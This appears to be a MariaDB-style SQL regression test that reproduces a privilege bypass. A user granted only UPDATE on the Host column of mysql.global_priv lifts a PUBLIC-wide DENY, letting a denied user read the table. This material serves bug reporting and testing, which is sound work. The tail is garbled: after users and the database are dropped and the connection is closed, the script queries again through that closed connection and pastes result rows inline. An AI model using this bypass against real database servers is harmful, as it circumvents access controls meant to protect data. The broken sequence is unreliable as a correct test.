REVOKE DENY ... FROM PUBLIC bypass via unrelated column-level UPDATE grant on mysql.global_priv

CREATE DATABASE db;

CREATE TABLE db.t1 (id INT, data INT);

INSERT INTO db.t1 VALUES (1,100),(2,200);

CREATE USER u1@localhost;

GRANT SELECT ON db.t1 TO u1@localhost;

CREATE USER u2@localhost;

GRANT UPDATE (Host) ON mysql.global_priv TO u2@localhost;

CREATE USER u_nogrant@localhost;

DENY SELECT ON db.t1 TO PUBLIC;

connect(a1,localhost,u1,,db);

--error ER_TABLEACCESS_DENIED_ERROR

SELECT * FROM t1;

connect(u_nogrant,localhost,u_nogrant,,);

--error ER_TABLEACCESS_DENIED_ERROR,ER_DBACCESS_DENIED_ERROR

REVOKE DENY SELECT ON db.t1 FROM PUBLIC;

disconnect u_nogrant;

--echo # BUG: u2, with only UPDATE(Host) on mysql.global_priv - not UPDATE(Priv) - still succeeds at lifting the PUBLIC-wide DENY.

connect(a2,localhost,u2,,);

--error ER_COLUMNACCESS_DENIED_ERROR

UPDATE mysql.global_priv SET Priv='{}' WHERE User='u1';

REVOKE DENY SELECT ON db.t1 FROM PUBLIC;

connection a1;

SELECT * FROM t1;

connection default;

disconnect a1;

disconnect a2;

DROP USER u1@localhost, u2@localhost, u_nogrant@localhost;

DROP DATABASE db;

DELETE FROM mysql.global_priv WHERE User='PUBLIC';

FLUSH PRIVILEGES;

REVOKE DENY SELECT ON db.t1 FROM PUBLIC;

connection a1;

SELECT * FROM t1;

id	data

1	100

2	200